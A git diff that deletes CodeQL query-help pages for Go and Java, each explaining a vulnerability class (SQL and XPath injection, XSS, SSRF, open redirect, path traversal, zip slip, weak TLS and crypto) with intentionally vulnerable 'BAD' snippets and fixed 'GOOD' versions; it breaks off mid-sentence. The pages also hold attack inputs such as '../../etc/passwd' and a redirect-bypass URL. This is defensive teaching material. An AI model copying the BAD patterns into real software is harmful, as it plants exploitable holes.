( - "crypto/tls" -) - -func main() {} - -func insecureMinMaxTlsVersion() { - { - config := &tls.Config{} - config.MinVersion = 0 // BAD: Setting the MinVersion to 0 equals to choosing the lowest supported version (i.e. SSL3.0) - } - { - config := &tls.Config{} - config.MinVersion = tls.VersionSSL30 // BAD: SSL 3.0 is a non-secure version of the protocol; it's not safe to use it as MinVersion. - } - { - config := &tls.Config{} - config.MaxVersion = tls.VersionSSL30 // BAD: SSL 3.0 is a non-secure version of the protocol; it's not safe to use it as MaxVersion. - } -} - -func insecureCipherSuites() { - config := &tls.Config{ - CipherSuites: []uint16{ - tls.TLS_RSA_WITH_RC4_128_SHA, // BAD: TLS_RSA_WITH_RC4_128_SHA is one of the non-secure cipher suites; it's not safe to be used. - }, - } - _ = config -} - -``` -The following example shows how to create a safer TLS configuration: - - -```go -package main - -import "crypto/tls" - -func saferTLSConfig() { - config := &tls.Config{} - config.MinVersion = tls.VersionTLS12 - config.MaxVersion = tls.VersionTLS13 - // OR - config.MaxVersion = 0 // GOOD: Setting MaxVersion to 0 means that the highest version available in the package will be used. -} - -``` - -## References -* Wikipedia: [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) -* Mozilla: [Security/Server Side TLS](https://wiki.mozilla.org/Security/Server_Side_TLS) -* OWASP: [Transport Layer Protection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html) -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/go/MissingRegexpAnchor.md b/docs/language/query-help/go/MissingRegexpAnchor.md deleted file mode 100644 index 6a538e4c191..00000000000 --- a/docs/language/query-help/go/MissingRegexpAnchor.md +++ /dev/null @@ -1,75 +0,0 @@ -# Missing regular expression anchor - -``` -ID: go/regex/missing-regexp-anchor -Kind: problem -Severity: warning -Precision: high -Tags: correctness security external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-020/MissingRegexpAnchor.ql) - -Sanitizing untrusted input with regular expressions is a common technique. However, it is error-prone to match untrusted input against regular expressions without anchors such as `^` or `$`. Malicious input can bypass such security checks by embedding one of the allowed patterns in an unexpected location. - -Even if the matching is not done in a security-critical context, it may still cause undesirable behavior when the regular expression accidentally matches. - - -## Recommendation -Use anchors to ensure that regular expressions match at the expected locations. - - -## Example -The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site. - - -```go -package main - -import ( - "errors" - "net/http" - "regexp" -) - -func checkRedirect2(req *http.Request, via []*http.Request) error { - // BAD: the host of `req.URL` may be controlled by an attacker - re := "https?://www\\.example\\.com/" - if matched, _ := regexp.MatchString(re, req.URL.String()); matched { - return nil - } - return errors.New("Invalid redirect") -} - -``` -The check with the regular expression match is, however, easy to bypass. For example, the string `http://example.com/` can be embedded in the query string component: `http://evil-example.net/?x=http://example.com/`. - -Address these shortcomings by using anchors in the regular expression instead: - - -```go -package main - -import ( - "errors" - "net/http" - "regexp" -) - -func checkRedirect2Good(req *http.Request, via []*http.Request) error { - // GOOD: the host of `req.URL` cannot be controlled by an attacker - re := "^https?://www\\.example\\.com/" - if matched, _ := regexp.MatchString(re, req.URL.String()); matched { - return nil - } - return errors.New("Invalid redirect") -} - -``` -A related mistake is to write a regular expression with multiple alternatives, but to only anchor one of the alternatives. As an example, the regular expression `^www\.example\.com|beta\.example\.com` will match the host `evil.beta.example.com` because the regular expression is parsed as `(^www\.example\.com)|(beta\.example\.com)/`, so the second alternative `beta\.example\.com` is not anchored at the beginning of the string. - - -## References -* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) -* OWASP: [Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/go/OpenUrlRedirect.md b/docs/language/query-help/go/OpenUrlRedirect.md deleted file mode 100644 index 1a17e26b449..00000000000 --- a/docs/language/query-help/go/OpenUrlRedirect.md +++ /dev/null @@ -1,71 +0,0 @@ -# Open URL redirect - -``` -ID: go/unvalidated-url-redirection -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-601 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-601/OpenUrlRedirect.ql) - -Directly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but is controlled by the attacker. - - -## Recommendation -To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. - - -## Example -The following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks: - - -```go -package main - -import ( - "net/http" -) - -func serve() { - http.HandleFunc("/redir", func(w http.ResponseWriter, r *http.Request) { - r.ParseForm() - http.Redirect(w, r, r.Form.Get("target"), 302) - }) -} - -``` -One way to remedy the problem is to validate the user input against a known fixed string before doing the redirection: - - -```go -package main - -import ( - "net/http" - "net/url" -) - -func serve() { - http.HandleFunc("/redir", func(w http.ResponseWriter, r *http.Request) { - r.ParseForm() - target, err := url.Parse(r.Form.Get("target")) - if err != nil { - // ... - } - - if target.Hostname() == "semmle.com" { - // GOOD: checking hostname - http.Redirect(w, r, target.String(), 302) - } else { - http.WriteHeader(400) - } - }) -} - -``` - -## References -* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/go/ReflectedXss.md b/docs/language/query-help/go/ReflectedXss.md deleted file mode 100644 index fde1daa8ebf..00000000000 --- a/docs/language/query-help/go/ReflectedXss.md +++ /dev/null @@ -1,82 +0,0 @@ -# Reflected cross-site scripting - -``` -ID: go/reflected-xss -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-079/ReflectedXss.ql) - -Directly writing user input (for example, an HTTP request parameter) to an HTTP response without properly sanitizing the input first, allows for a cross-site scripting vulnerability. - -This kind of vulnerability is also called *reflected* cross-site scripting, to distinguish it from other types of cross-site scripting. - - -## Recommendation -To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the response, or one of the other solutions that are mentioned in the references. - - -## Example -The following example code writes part of an HTTP request (which is controlled by the user) directly to the response. This leaves the website vulnerable to cross-site scripting. - - -```go -package main - -import ( - "fmt" - "net/http" -) - -func serve() { - http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { - r.ParseForm() - username := r.Form.Get("username") - if !isValidUsername(username) { - // BAD: a request parameter is incorporated without validation into the response - fmt.Fprintf(w, "%q is an unknown user", username) - } else { - // TODO: do something exciting - } - }) - http.ListenAndServe(":80", nil) -} - -``` -Sanitizing the user-controlled data prevents the vulnerability: - - -```go -package main - -import ( - "fmt" - "html" - "net/http" -) - -func serve1() { - http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { - r.ParseForm() - username := r.Form.Get("username") - if !isValidUsername(username) { - // GOOD: a request parameter is escaped before being put into the response - fmt.Fprintf(w, "%q is an unknown user", html.EscapeString(username)) - } else { - // TODO: do something exciting - } - }) - http.ListenAndServe(":80", nil) -} - -``` - -## References -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/go/RequestForgery.md b/docs/language/query-help/go/RequestForgery.md deleted file mode 100644 index d34cf6e79e5..00000000000 --- a/docs/language/query-help/go/RequestForgery.md +++ /dev/null @@ -1,81 +0,0 @@ -# Uncontrolled data used in network request - -``` -ID: go/request-forgery -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-918 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-918/RequestForgery.ql) - -Directly incorporating user input into an HTTP request without validating the input can facilitate different kinds of request forgery attacks, where the attacker essentially controls the request. If the vulnerable request is in server-side code, then security mechanisms, such as external firewalls, can be bypassed. If the vulnerable request is in client-side code, then unsuspecting users can send malicious requests to other servers, potentially resulting in a DDOS attack. - - -## Recommendation -To guard against request forgery, it is advisable to avoid putting user input directly into a network request. If a flexible network request mechanism is required, it is recommended to maintain a list of authorized request targets and choose from that list based on the user input provided. - - -## Example -The following example shows an HTTP request parameter being used directly in a URL request without validating the input, which facilitates an SSRF attack. The request `http.Get(...)` is vulnerable since attackers can choose the value of `target` to be anything they want. For instance, the attacker can choose `"internal.example.com/#"` as the target, causing the URL used in the request to be `"https://internal.example.com/#.example.com/data"`. - -A request to `https://internal.example.com` may be problematic if that server is not meant to be directly accessible from the attacker's machine. - - -```go -package main - -import ( - "net/http" -) - -func handler(w http.ResponseWriter, req *http.Request) { - target := req.FormValue("target") - - // BAD: `target` is controlled by the attacker - resp, err := http.Get("https://" + target + ".example.com/data/") - if err != nil { - // error handling - } - - // process request response - use(resp) -} - -``` -One way to remedy the problem is to use the user input to select a known fixed string before performing the request: - - -```go -package main - -import ( - "net/http" -) - -func handler1(w http.ResponseWriter, req *http.Request) { - target := req.FormValue("target") - - var subdomain string - if target == "EU" { - subdomain = "europe" - } else { - subdomain = "world" - } - - // GOOD: `subdomain` is controlled by the server - resp, err := http.Get("https://" + subdomain + ".example.com/data/") - if err != nil { - // error handling - } - - // process request response - use(resp) -} - -``` - -## References -* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) -* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html). \ No newline at end of file diff --git a/docs/language/query-help/go/SqlInjection.md b/docs/language/query-help/go/SqlInjection.md deleted file mode 100644 index e0be1ef9554..00000000000 --- a/docs/language/query-help/go/SqlInjection.md +++ /dev/null @@ -1,62 +0,0 @@ -# Database query built from user-controlled sources - -``` -ID: go/sql-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-089 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-089/SqlInjection.ql) - -If a database query (such as an SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a malicious user may be able to run commands that exfiltrate, tamper with, or destroy data stored in the database. - - -## Recommendation -Most database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements. Use these features rather than building queries by string concatenation. - - -## Example -In the following example, assume the function `handler` is an HTTP request handler in a web application, whose parameter `req` contains the request object: - - -```go -package main - -import ( - "database/sql" - "fmt" - "net/http" -) - -func handler(db *sql.DB, req *http.Request) { - q := fmt.Sprintf("SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='%s' ORDER BY PRICE", - req.URL.Query()["category"]) - db.Query(q) -} - -``` -The handler constructs an SQL query involving user input taken from the request object unsafely using `fmt.Sprintf` to embed a request parameter directly into the query string `q`. The parameter may include quote characters, allowing a malicious user to terminate the string literal into which the parameter is embedded and add arbitrary SQL code after it. - -Instead, the untrusted query parameter should be safely embedded using placeholder parameters: - - -```go -package main - -import ( - "database/sql" - "net/http" -) - -func handlerGood(db *sql.DB, req *http.Request) { - q := "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='?' ORDER BY PRICE" - db.Query(q, req.URL.Query()["category"]) -} - -``` - -## References -* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection). -* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/go/StringBreak.md b/docs/language/query-help/go/StringBreak.md deleted file mode 100644 index 9e8b96ddd49..00000000000 --- a/docs/language/query-help/go/StringBreak.md +++ /dev/null @@ -1,72 +0,0 @@ -# Potentially unsafe quoting - -``` -ID: go/unsafe-quoting -Kind: path-problem -Severity: warning -Precision: high -Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-089 external/cwe/cwe-094 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-089/StringBreak.ql) - -Code that constructs a string containing a quoted substring needs to ensure that any user-provided data embedded in between the quotes does not itself contain a quote. Otherwise the embedded data could (accidentally or intentionally) change the structure of the overall string by terminating the quoted substring early, with potentially severe consequences. If, for example, the string is later interpreted as an operating-system command or database query, a malicious attacker may be able to craft input data that enables a command injection or SQL injection attack. - - -## Recommendation -Sanitize the embedded data appropriately to ensure quotes are escaped, or use an API that does not rely on manually constructing quoted substrings. - - -## Example -In the following example, assume that `version` is an object from an untrusted source. The code snippet first uses `json.Marshal` to serialize this object into a string, and then embeds it into a SQL query built using the Squirrel library. - - -```go -package main - -import ( - "encoding/json" - "fmt" - sq "github.com/Masterminds/squirrel" -) - -func save(id string, version interface{}) { - versionJSON, _ := json.Marshal(version) - sq.StatementBuilder. - Insert("resources"). - Columns("resource_id", "version_md5"). - Values(id, sq.Expr(fmt.Sprintf("md5('%s')", versionJSON))). - Exec() -} - -``` -Note that while Squirrel provides a structured API for building SQL queries that mitigates against common causes of SQL injection vulnerabilities, this code is still vulnerable: if the JSON-encoded representation of `version` contains a single quote, this will prematurely close the surrounding string, changing the structure of the SQL expression being constructed. This could be exploited to mount a SQL injection attack. - -To fix this vulnerability, use Squirrel's placeholder syntax, which avoids the need to explicitly construct a quoted string. - - -```go -package main - -import ( - "encoding/json" - sq "github.com/Masterminds/squirrel" -) - -func saveGood(id string, version interface{}) { - versionJSON, _ := json.Marshal(version) - sq.StatementBuilder. - Insert("resources"). - Columns("resource_id", "version_md5"). - Values(id, sq.Expr("md5(?)", versionJSON)). - Exec() -} - -``` - -## References -* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection). -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). -* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). -* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). \ No newline at end of file diff --git a/docs/language/query-help/go/TaintedPath.md b/docs/language/query-help/go/TaintedPath.md deleted file mode 100644 index a7a7a3f49ab..00000000000 --- a/docs/language/query-help/go/TaintedPath.md +++ /dev/null @@ -1,61 +0,0 @@ -# Uncontrolled data used in path expression - -``` -ID: go/path-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 external/cwe/cwe-099 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-022/TaintedPath.ql) - -Accessing files using paths constructed from user-controlled data can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. - - -## Recommendation -Validate user input before using it to construct a file path, either using an off-the-shelf library or by performing custom validation. - -Ideally, follow these rules: - -* Do not allow more than a single "." character. -* Do not allow directory separators such as "/" or "\" (depending on the file system). -* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//", the resulting string would still be "../". -* Use an allowlist of known good patterns. - -## Example -In the first example, a file name is read from an HTTP request and then used to access a file. However, a malicious user could enter a file name which is an absolute path, such as "/etc/passwd". - -In the second example, it appears that the user is restricted to opening a file within the `"user"` home directory. However, a malicious user could enter a file name containing special characters. For example, the string `"../../etc/passwd"` will result in the code reading the file located at "/home/user/../../etc/passwd", which is the system's password file. This file would then be sent back to the user, giving them access to password information. - - -```go -package main - -import ( - "io/ioutil" - "net/http" - "path/filepath" -) - -func handler(w http.ResponseWriter, r *http.Request) { - path := r.URL.Query()["path"][0] - - // BAD: This could read any file on the file system - data, _ := ioutil.ReadFile(path) - w.Write(data) - - // BAD: This could still read any file on the file system - data, _ = ioutil.ReadFile(filepath.Join("/home/user/", path)) - w.Write(data) -} - -``` - -## References -* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). -* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). -* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). -* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). -* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). -* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html). \ No newline at end of file diff --git a/docs/language/query-help/go/XPathInjection.md b/docs/language/query-help/go/XPathInjection.md deleted file mode 100644 index f64af2edb78..00000000000 --- a/docs/language/query-help/go/XPathInjection.md +++ /dev/null @@ -1,65 +0,0 @@ -# XPath injection - -``` -ID: go/xml/xpath-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-643 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-643/XPathInjection.ql) - -If an XPath expression is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to create a malicious XPath expression. - - -## Recommendation -If user input must be included in an XPath expression, pre-compile the query and use variable references to include the user input. - -For example, when using the `github.com/ChrisTrenkamp/goxpath` API, you can do this by creating a function that takes an `*goxpath.Opts` structure. In this structure you can then set the values of the variable references. This function can then be specified when calling `Exec()`, `Exec{Bool|Num|Node}()`, `ParseExec()`, or `MustExec()`. - - -## Example -In the first example, the code accepts a username specified by the user, and uses this unvalidated and unsanitized value in an XPath expression. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values. - -In the second example, the XPath expression is a hard-coded string that specifies some variables, which are safely resolved at runtime using the `goxpath.Opts` structure. - - -```go -package main - -import ( - "fmt" - "net/http" - - "github.com/ChrisTrenkamp/goxpath" - "github.com/ChrisTrenkamp/goxpath/tree" -) - -func main() {} - -func processRequest(r *http.Request, doc tree.Node) { - r.ParseForm() - username := r.Form.Get("username") - - // BAD: User input used directly in an XPath expression - xPath := goxpath.MustParse("//users/user[login/text()='" + username + "']/home_dir/text()") - unsafeRes, _ := xPath.ExecBool(doc) - fmt.Println(unsafeRes) - - // GOOD: Value of parameters is defined here instead of directly in the query - opt := func(o *goxpath.Opts) { - o.Vars["username"] = tree.String(username) - } - // GOOD: Uses parameters to avoid including user input directly in XPath expression - xPath = goxpath.MustParse("//users/user[login/text()=$username]/home_dir/text()") - safeRes, _ := xPath.ExecBool(doc, opt) - fmt.Println(safeRes) -} - -``` - -## References -* OWASP: [Testing for XPath Injection](https://www.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)). -* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection). -* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html). \ No newline at end of file diff --git a/docs/language/query-help/go/ZipSlip.md b/docs/language/query-help/go/ZipSlip.md deleted file mode 100644 index fbd32b47b0d..00000000000 --- a/docs/language/query-help/go/ZipSlip.md +++ /dev/null @@ -1,78 +0,0 @@ -# Arbitrary file write during zip extraction ("zip slip") - -``` -ID: go/zipslip -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-022 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-022/ZipSlip.ql) - -Extracting files from a malicious zip archive without validating that the destination file path is within the destination directory can cause files outside the destination directory to be overwritten, due to the possible presence of directory traversal elements (`..`) in archive paths. - -Zip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to determine which output file the contents of an archive item should be written to, then the file may be written to an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. - -For example, if a zip file contains a file entry `..\sneaky-file`, and the zip file is extracted to the directory `c:\output`, then naively combining the paths would result in an output file path of `c:\output\..\sneaky-file`, which would cause the file to be written to `c:\sneaky-file`. - - -## Recommendation -Ensure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations. - -The recommended way of writing an output file from a zip archive entry is to check that "`..`" does not occur in the path. - - -## Example -In this example an archive is extracted without validating file paths. If `archive.zip` contained relative paths (for instance, if it were created by something like `zip archive.zip ../file.txt`) then executing this code could write to locations outside the destination directory. - - -```go -package main - -import ( - "archive/zip" - "io/ioutil" - "path/filepath" -) - -func unzip(f string) { - r, _ := zip.OpenReader(f) - for _, f := range r.File { - p, _ := filepath.Abs(f.Name) - // BAD: This could overwrite any file on the file system - ioutil.WriteFile(p, []byte("present"), 0666) - } -} - -``` -To fix this vulnerability, we need to check that the path does not contain any "`..`" elements in it. - - -```go -package main - -import ( - "archive/zip" - "io/ioutil" - "path/filepath" - "strings" -) - -func unzipGood(f string) { - r, _ := zip.OpenReader(f) - for _, f := range r.File { - p, _ := filepath.Abs(f.Name) - // GOOD: Check that path does not contain ".." before using it - if !strings.Contains(p, "..") { - ioutil.WriteFile(p, []byte("present"), 0666) - } - } -} - -``` - -## References -* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability). -* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). -* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). \ No newline at end of file diff --git a/docs/language/query-help/index.rst b/docs/language/query-help/index.rst index f5aa7874888..9c668c2fcb4 100644 --- a/docs/language/query-help/index.rst +++ b/docs/language/query-help/index.rst @@ -1,8 +1,17 @@ CodeQL query help ----------------- +Use the sidebar to view the query help for the queries included in the "code scanning" and "security extended" query suites for a single language. + +Each query help page includes: + +- A summary of key metadata for the query +- A link to the query in the `CodeQL repository `__ +- Help information to explain what potential vulnerability the query identifies and a recommendation for how to avoid introducing the problem in your code + .. toctree:: :titlesonly: + :hidden: cpp csharp @@ -10,10 +19,4 @@ CodeQL query help java javascript python - -Code scanning query lists -========================= - -.. toctree:: - - query-list \ No newline at end of file + \ No newline at end of file diff --git a/docs/language/query-help/java/ArithmeticTainted.md b/docs/language/query-help/java/ArithmeticTainted.md deleted file mode 100644 index 9684ae02052..00000000000 --- a/docs/language/query-help/java/ArithmeticTainted.md +++ /dev/null @@ -1,64 +0,0 @@ -# User-controlled data in arithmetic expression - -``` -ID: java/tainted-arithmetic -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-190 external/cwe/cwe-191 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-190/ArithmeticTainted.ql) - -Performing calculations on user-controlled data can result in integer overflows unless the input is validated. - -If the user is free to enter very large numbers, even arithmetic operations that would usually result in a small change in magnitude may result in overflows. - - -## Recommendation -Always guard against overflow in arithmetic operations on user-controlled data by doing one of the following: - -* Validate the user input. -* Define a guard on the arithmetic expression, so that the operation is performed only if the result can be known to be less than, or equal to, the maximum value for the type, for example `MAX_VALUE`. -* Use a wider type, so that larger input values do not cause overflow. - -## Example -In this example, a value is read from standard input into an `int`. Because the value is a user-controlled value, it could be extremely large. Performing arithmetic operations on this value could therefore cause an overflow. To avoid this happening, the example shows how to perform a check before performing a multiplication. - - -```java -class Test { - public static void main(String[] args) { - { - int data; - - BufferedReader readerBuffered = new BufferedReader( - new InputStreamReader(System.in, "UTF-8")); - String stringNumber = readerBuffered.readLine(); - if (stringNumber != null) { - data = Integer.parseInt(stringNumber.trim()); - } else { - data = 0; - } - - // BAD: may overflow if input data is very large, for example - // 'Integer.MAX_VALUE' - int scaled = data * 10; - - //... - - // GOOD: use a guard to ensure no overflows occur - int scaled2; - if (data < Integer.MAX_VALUE / 10) - scaled2 = data * 10; - else - scaled2 = Integer.MAX_VALUE; - } - } -} -``` - -## References -* The CERT Oracle Secure Coding Standard for Java: [NUM00-J. Detect or prevent integer overflow](https://www.securecoding.cert.org/confluence/display/java/NUM00-J.+Detect+or+prevent+integer+overflow). -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). -* Common Weakness Enumeration: [CWE-191](https://cwe.mitre.org/data/definitions/191.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ArithmeticUncontrolled.md b/docs/language/query-help/java/ArithmeticUncontrolled.md deleted file mode 100644 index dfb464b1fe4..00000000000 --- a/docs/language/query-help/java/ArithmeticUncontrolled.md +++ /dev/null @@ -1,54 +0,0 @@ -# Uncontrolled data in arithmetic expression - -``` -ID: java/uncontrolled-arithmetic -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-190 external/cwe/cwe-191 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-190/ArithmeticUncontrolled.ql) - -Performing calculations on uncontrolled data can result in integer overflows unless the input is validated. - -If the data is not under your control, and can take extremely large values, even arithmetic operations that would usually result in a small change in magnitude may result in overflows. - - -## Recommendation -Always guard against overflow in arithmetic operations on uncontrolled data by doing one of the following: - -* Validate the data. -* Define a guard on the arithmetic expression, so that the operation is performed only if the result can be known to be less than, or equal to, the maximum value for the type, for example `MAX_VALUE`. -* Use a wider type, so that larger input values do not cause overflow. - -## Example -In this example, a random integer is generated. Because the value is not controlled by the programmer, it could be extremely large. Performing arithmetic operations on this value could therefore cause an overflow. To avoid this happening, the example shows how to perform a check before performing a multiplication. - - -```java -class Test { - public static void main(String[] args) { - { - int data = (new java.security.SecureRandom()).nextInt(); - - // BAD: may overflow if data is large - int scaled = data * 10; - - // ... - - // GOOD: use a guard to ensure no overflows occur - int scaled2; - if (data < Integer.MAX_VALUE/10) - scaled2 = data * 10; - else - scaled2 = Integer.MAX_VALUE; - } - } -} -``` - -## References -* The CERT Oracle Secure Coding Standard for Java: [NUM00-J. Detect or prevent integer overflow](https://www.securecoding.cert.org/confluence/display/java/NUM00-J.+Detect+or+prevent+integer+overflow). -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). -* Common Weakness Enumeration: [CWE-191](https://cwe.mitre.org/data/definitions/191.html). \ No newline at end of file diff --git a/docs/language/query-help/java/BrokenCryptoAlgorithm.md b/docs/language/query-help/java/BrokenCryptoAlgorithm.md deleted file mode 100644 index 776f227f4c4..00000000000 --- a/docs/language/query-help/java/BrokenCryptoAlgorithm.md +++ /dev/null @@ -1,44 +0,0 @@ -# Use of a broken or risky cryptographic algorithm - -``` -ID: java/weak-cryptographic-algorithm -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-327/BrokenCryptoAlgorithm.ql) - -Using broken or weak cryptographic algorithms can leave data vulnerable to being decrypted. - -Many cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that an attacker may be able to easily decrypt the encrypted data. - - -## Recommendation -Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048. - - -## Example -The following code shows an example of using a java `Cipher` to encrypt some data. When creating a `Cipher` instance, you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm. - - -```java -// BAD: DES is a weak algorithm -Cipher des = Cipher.getInstance("DES"); -cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec); - -byte[] encrypted = cipher.doFinal(input.getBytes("UTF-8")); - -// ... - -// GOOD: AES is a strong algorithm -Cipher des = Cipher.getInstance("AES"); - -// ... -``` - -## References -* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf). -* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/java/CleartextStorageCookie.md b/docs/language/query-help/java/CleartextStorageCookie.md deleted file mode 100644 index e3d52b851a3..00000000000 --- a/docs/language/query-help/java/CleartextStorageCookie.md +++ /dev/null @@ -1,62 +0,0 @@ -# Cleartext storage of sensitive information in cookie - -``` -ID: java/cleartext-storage-in-cookie -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-315 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-312/CleartextStorageCookie.ql) - -Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. - - -## Recommendation -Ensure that sensitive information is always encrypted before being stored. It may be wise to encrypt information before it is put into a heap data structure (such as `Java.util.Properties`) that may be written to disk later. Objects that are serializable or marshallable should also always contain encrypted information unless you are certain that they are not ever going to be serialized. - -In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. - - -## Example -The following example shows two ways of storing user credentials in a cookie. In the 'BAD' case, the credentials are simply stored in cleartext. In the 